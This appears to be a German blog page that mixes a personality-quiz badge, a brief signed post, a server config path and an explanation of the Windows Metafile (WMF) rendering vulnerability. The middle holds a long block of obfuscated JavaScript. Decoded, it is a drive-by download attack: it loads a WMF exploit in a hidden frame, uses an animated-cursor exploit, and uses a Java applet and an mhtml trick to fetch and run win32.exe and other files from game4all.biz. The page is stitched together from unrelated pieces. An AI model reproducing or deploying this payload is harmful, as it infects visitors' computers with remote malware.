| You Are Wind |
 A force to be reckoned with, no one dares cross you You have the power to change everything around you You are best known for: your wrath Your dominant state: commanding |
Wenn das stimmt, bin ich ja ein ganz umgänglicher Typ...
Ich kann jedem, der sich mit soetwas beschäftig, nur empfehlen sich ein anderes Hobby zu suchen.
Viele Grüße
Maik Irmscher
/usr/local/confixx/confixx_main.conf
document.write(unescape("%3c%68%74%6d%6c%3e%0d%0a%3c%
68%65%61%64%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%66%
75%6e%63%74%69%6f%6e%20%63%6c%72%73%74"));
document.write(unescape("%61%74%28%29%7b%20%70%61%72%
65%6e%74%2e%73%74%61%74%75%73%20%3d%20%22%22%3b%7d%0d%
0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c"));
document.write(unescape("%2f%68%65%61%64%3e%0d%0a%0d%
0a%3c%62%6f%64%79%20%6c%61%6e%67%3d%45%4e%2d%55%53%20%
6c%69%6e%6b%3d%62%6c%75%65%20%76%6c%69"));
document.write(unescape("%6e%6b%3d%70%75%72%70%6c%65%
20%73%74%79%6c%65%3d%27%74%61%62%2d%69%6e%74%65%72%76%
61%6c%3a%2e%35%69%6e%27%3e%0d%0a%4c%6f"));
document.write(unescape("%61%64%69%6e%67%20%70%6c%65%
61%73%65%20%77%61%69%74%20%2e%2e%2e%0d%0a%20%20%3c%49%
46%52%41%4d%45%20%73%72%63%3d%22%78%70"));
document.write(unescape("%6c%2e%77%6d%66%22%0d%0a%20%
20%66%72%61%6d%65%62%6f%72%64%65%72%3d%31%20%76%73%70%
61%63%65%3d%31%20%68%73%70%61%63%65%3d"));
document.write(unescape("%31%20%6d%61%72%67%69%6e%77%
69%64%74%68%3d%31%20%6d%61%72%67%69%6e%68%65%69%67%68%
74%3d%31%20%77%69%64%74%68%3d%31%20%68"));
document.write(unescape("%65%69%67%68%74%3d%31%20%73%
63%72%6f%6c%6c%69%6e%67%3d%6e%6f%3e%0d%0a%20%20%3c%2f%
49%46%52%41%4d%45%3e%0d%0a%0d%0a%3c%2f"));
document.write(unescape("%62%6f%64%79%3e%0d%0a%3c%73%
74%79%6c%65%3e%0d%0a%2a%20%7b%43%55%52%53%4f%52%3a%20%
75%72%6c%28%22%68%74%74%70%3a%2f%2f%67"));
document.write(unescape("%61%6d%65%34%61%6c%6c%2e%62%
69%7a%2f%61%64%76%2f%30%31%38%2f%73%70%6c%6f%69%74%2e%
61%6e%72%22%29%7d%0d%0a%3c%2f%73%74%79"));
document.write(unescape("%6c%65%3e%0d%0a%3c%41%50%50%
4c%45%54%20%41%52%43%48%49%56%45%3d%27%63%6f%75%6e%74%
2e%6a%61%72%27%20%43%4f%44%45%3d%27%42"));
document.write(unescape("%6c%61%63%6b%42%6f%78%2e%63%
6c%61%73%73%27%20%57%49%44%54%48%3d%31%20%48%45%49%47%
48%54%3d%31%3e%0d%0a%3c%50%41%52%41%4d"));
document.write(unescape("%20%4e%41%4d%45%3d%27%75%72%
6c%27%20%56%41%4c%55%45%3d%27%68%74%74%70%3a%2f%2f%67%
61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%61"));
document.write(unescape("%64%76%2f%30%31%38%2f%77%69%
6e%33%32%2e%65%78%65%27%3e%3c%2f%41%50%50%4c%45%54%3e%
0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%74"));
document.write(unescape("%72%79%7b%0d%0a%64%6f%63%75%
6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%6f%62%6a%65%63%
74%20%64%61%74%61%3d%60%26%23%31%30%39"));
document.write(unescape("%26%23%31%31%35%26%23%34%35%
26%23%31%30%35%26%23%31%31%36%26%23%31%31%35%26%23%35%
38%26%23%31%30%39%26%23%31%30%34%26%23"));
document.write(unescape("%31%31%36%26%23%31%30%39%26%
23%31%30%38%26%23%35%38%26%23%31%30%32%26%23%31%30%35%
26%23%31%30%38%26%23%31%30%31%26%23%35"));
document.write(unescape("%38%26%23%34%37%26%23%34%37%
26%23%36%37%26%23%35%38%26%23%39%32%26%23%31%30%32%3b%
6f%27%2b%27%6f%2e%6d%68%74%21%27%2b%27"));
document.write(unescape("%68%74%74%70%3a%2f%2f%67%61%
6d%65%34%61%6c%6c%2e%62%69%7a%2f%2f%61%64%76%2f%2f%30%
31%38%2f%2f%74%61%72%67%2e%63%68%27%2b"));
document.write(unescape("%27%6d%3a%3a%2f%74%61%72%67%
27%2b%27%65%74%2e%68%74%6d%60%20%74%79%70%65%3d%60%74%
65%78%74%2f%78%2d%73%63%72%69%70%74%6c"));
document.write(unescape("%65%74%60%3e%3c%2f%6f%62%27%
2b%27%6a%65%63%74%3e%27%29%3b%0d%0a%7d%63%61%74%63%68%
28%65%29%7b%7d%0d%0a%3c%2f%73%63%72%69"));
document.write(unescape("%70%74%3e%0d%0a%3c%2f%68%74%
6d%6c%3e"));Windows Metafile (WMF) ist ein proprietäres Grafikformat. Es wurde entwickelt für den Austausch von Grafiken über verschiedene Programme hinweg. Dieses Grafikformat erlaubt es in den Metainformationen des Dokumentes ausführbaren Programmcode zu speichern und an Empfänger zu übermitteln. Werden Grafiken im WMF-Format abgespeichert, so tragen die Dateien die 3-buchstabige Dateierweiterung ".wmf".
In der WMF-Rendering-Engine gibt es eine Schwachstelle, die es einem entfernten Angreifer ermöglicht, beliebigen Code in WMF-Dateien mit Benutzerrechten auf betroffenen Systemen auszuführen.
Die Schwachstelle kann neben Windows Metafile (WMF) auch über Enhanced Metafile (EMF) Dateien ausgnutzt werden. Erfolgreiche Angriffe fanden bislang über E-Mail, hier insbesondere in Grusskarten zum neuen Jahr das Surfen im Internet und über gemeinsam genutzte Dateisysteme statt. Es reicht bereits die Vorschau einer schadhaften E-Mail oder einer schadhaften Datei im Windows Explorer aus, um den schadhaften Code auszuführen und nicht geschützte Systeme anzugreifen.
Häufig enthalten die infizierten WMF-Dateien keinerlei Bildinformationen sondern nur den schadhaften Programmcode. Weiterhin können auch umbenannte WMF-Dateien mit der anfälligen Komponente verarbeitet werden. So können Angreifer z. B. eine in ".JPG" umbenannte WMF-Datei für Angriffe einsetzen.
Posts
Alle Kommentare
